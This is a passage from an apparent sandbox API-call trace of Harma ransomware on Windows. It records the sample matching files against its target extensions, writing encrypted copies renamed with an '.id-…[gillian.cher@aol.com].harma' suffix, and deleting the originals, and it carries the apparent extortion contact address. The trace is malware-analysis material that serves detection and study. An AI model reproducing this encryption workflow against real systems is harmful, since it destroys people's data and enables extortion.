returned 4 [0175.211] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString=".bz2") returned 4 [0175.212] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0175.212] lstrlenW (lpString=".7z") returned 3 [0175.212] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0175.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.212] lstrlenW (lpString=".dbf") returned 4 [0175.212] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0175.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.212] lstrlenW (lpString=".1cd") returned 4 [0175.212] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0175.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.212] lstrlenW (lpString=".jpg") returned 4 [0175.212] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0175.212] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.212] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0175.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.213] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=3584) returned 1 [0175.213] CloseHandle (hObject=0x1e4) returned 1 [0175.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0175.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.213] lstrlenW (lpString=".doc") returned 4 [0175.214] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.214] lstrlenW (lpString=".docx") returned 5 [0175.214] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.214] lstrlenW (lpString=".pdf") returned 4 [0175.214] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.214] lstrlenW (lpString=".xls") returned 4 [0175.214] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.214] lstrlenW (lpString=".xlsx") returned 5 [0175.214] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.214] lstrlenW (lpString=".ppt") returned 4 [0175.214] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.214] lstrlenW (lpString=".zip") returned 4 [0175.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.214] lstrlenW (lpString=".rar") returned 4 [0175.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.214] lstrlenW (lpString=".bz2") returned 4 [0175.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.214] lstrlenW (lpString=".7z") returned 3 [0175.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.214] lstrlenW (lpString=".dbf") returned 4 [0175.214] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.214] lstrlenW (lpString=".1cd") returned 4 [0175.214] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.214] lstrlenW (lpString=".jpg") returned 4 [0175.214] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.215] lstrlenW (lpString=".doc") returned 4 [0175.215] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.215] lstrlenW (lpString=".docx") returned 5 [0175.215] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.215] lstrlenW (lpString=".pdf") returned 4 [0175.215] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.215] lstrlenW (lpString=".xls") returned 4 [0175.215] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.215] lstrlenW (lpString=".xlsx") returned 5 [0175.215] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.215] lstrlenW (lpString=".ppt") returned 4 [0175.215] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.215] lstrlenW (lpString=".zip") returned 4 [0175.215] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.215] lstrlenW (lpString=".rar") returned 4 [0175.215] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.215] lstrlenW (lpString=".bz2") returned 4 [0175.215] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.215] lstrlenW (lpString=".7z") returned 3 [0175.215] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.215] lstrlenW (lpString=".dbf") returned 4 [0175.215] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.216] lstrlenW (lpString=".1cd") returned 4 [0175.216] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0175.216] lstrlenW (lpString=".jpg") returned 4 [0175.216] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.216] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.216] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0175.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.217] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=3584) returned 1 [0175.217] CloseHandle (hObject=0x1e4) returned 1 [0175.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0175.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.217] lstrlenW (lpString=".doc") returned 4 [0175.217] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.217] lstrlenW (lpString=".docx") returned 5 [0175.217] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.217] lstrlenW (lpString=".pdf") returned 4 [0175.217] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.217] lstrlenW (lpString=".xls") returned 4 [0175.217] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.218] lstrlenW (lpString=".xlsx") returned 5 [0175.218] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.218] lstrlenW (lpString=".ppt") returned 4 [0175.218] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString=".zip") returned 4 [0175.218] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.218] lstrlenW (lpString=".rar") returned 4 [0175.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.218] lstrlenW (lpString=".bz2") returned 4 [0175.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.218] lstrlenW (lpString=".7z") returned 3 [0175.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString=".dbf") returned 4 [0175.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString=".1cd") returned 4 [0175.218] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString=".jpg") returned 4 [0175.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.218] lstrlenW (lpString=".doc") returned 4 [0175.219] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.219] lstrlenW (lpString=".docx") returned 5 [0175.219] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.219] lstrlenW (lpString=".pdf") returned 4 [0175.219] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.219] lstrlenW (lpString=".xls") returned 4 [0175.219] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.219] lstrlenW (lpString=".xlsx") returned 5 [0175.219] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.219] lstrlenW (lpString=".ppt") returned 4 [0175.219] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.219] lstrlenW (lpString=".zip") returned 4 [0175.219] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.219] lstrlenW (lpString=".rar") returned 4 [0175.219] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.219] lstrlenW (lpString=".bz2") returned 4 [0175.219] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.219] lstrlenW (lpString=".7z") returned 3 [0175.219] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.219] lstrlenW (lpString=".dbf") returned 4 [0175.219] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.219] lstrlenW (lpString=".1cd") returned 4 [0175.220] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0175.220] lstrlenW (lpString=".jpg") returned 4 [0175.220] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.220] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.220] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0175.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.220] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=4096) returned 1 [0175.221] CloseHandle (hObject=0x1e4) returned 1 [0175.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0175.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0175.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0175.221] lstrlenW (lpString=".doc") returned 4 [0175.221] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.221] lstrlenW (lpString=".docx") returned 5 [0175.221] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.221] lstrlenW (lpString=".pdf") returned 4 [0175.221] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.221] lstrlenW (lpString=".xls") returned 4 [0175.221] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.221] lstrlenW (lpString=".xlsx") returned 5 [0175.221] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.222] lstrlenW (lpString=".ppt") returned 4 [0175.222] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0175.222] lstrlenW (lpString=".zip") returned 4 [0175.222] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.222] lstrlenW (lpString=".rar") returned 4 [0175.222] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.435] lstrlenW (lpString=".bz2") returned 4 [0175.435] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.435] lstrlenW (lpString=".7z") returned 3 [0175.435] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0175.435] lstrlenW (lpString=".dbf") returned 4 [0175.435] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0175.454] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.454] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.456] GetLastError () returned 0x0 [0175.456] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x665a0, lpOverlapped=0x0) returned 1 [0175.531] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0175.538] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.538] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0175.539] SetEndOfFile (hFile=0x1e8) returned 1 [0175.539] CloseHandle (hObject=0x1e8) returned 1 [0175.539] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.539] SetEndOfFile (hFile=0x1e4) returned 1 [0175.542] CloseHandle (hObject=0x1e4) returned 1 [0175.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.543] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0175.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString=".doc") returned 4 [0175.544] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString=".docx") returned 5 [0175.544] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0175.544] lstrlenW (lpString=".pdf") returned 4 [0175.544] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString=".xls") returned 4 [0175.544] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString=".xlsx") returned 5 [0175.544] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0175.544] lstrlenW (lpString=".ppt") returned 4 [0175.544] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString=".zip") returned 4 [0175.544] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString=".rar") returned 4 [0175.544] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0175.544] lstrlenW (lpString=".bz2") returned 4 [0175.544] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0175.544] lstrlenW (lpString=".7z") returned 3 [0175.544] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0175.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString=".dbf") returned 4 [0175.544] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0175.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString=".1cd") returned 4 [0175.544] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0175.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.544] lstrlenW (lpString=".jpg") returned 4 [0175.544] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString=".doc") returned 4 [0175.545] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString=".docx") returned 5 [0175.545] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0175.545] lstrlenW (lpString=".pdf") returned 4 [0175.545] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString=".xls") returned 4 [0175.545] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString=".xlsx") returned 5 [0175.545] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0175.545] lstrlenW (lpString=".ppt") returned 4 [0175.545] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString=".zip") returned 4 [0175.545] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString=".rar") returned 4 [0175.545] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0175.545] lstrlenW (lpString=".bz2") returned 4 [0175.545] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0175.545] lstrlenW (lpString=".7z") returned 3 [0175.545] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString=".dbf") returned 4 [0175.545] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString=".1cd") returned 4 [0175.545] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0175.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0175.545] lstrlenW (lpString=".jpg") returned 4 [0175.545] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0175.546] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.546] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0175.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0175.615] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=26624) returned 1 [0175.615] CloseHandle (hObject=0x1ec) returned 1 [0175.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0175.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.624] lstrlenW (lpString="C:\\Program Files\\Common 